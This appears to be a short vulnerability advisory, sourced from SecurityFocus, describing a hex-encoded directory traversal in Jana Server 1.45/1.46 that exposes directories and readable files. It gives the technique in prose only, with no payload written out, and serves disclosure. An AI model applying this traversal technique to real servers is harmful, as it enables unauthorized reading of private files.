T. Hauck Jana Server 1.45/1.46 - Hex Encoded Directory Traversal

source: https://www.securityfocus.com/bid/2703/info

It is possible for a remote user to traverse the directories of a host running Jana Server. Submitting a specially crafted URL using hex encoded 'double dot' sequences will reveal arbitrary directories. In addition to revealing directories, this vulnerability could enable a user to obtain the contents of files readable by the webserver user.
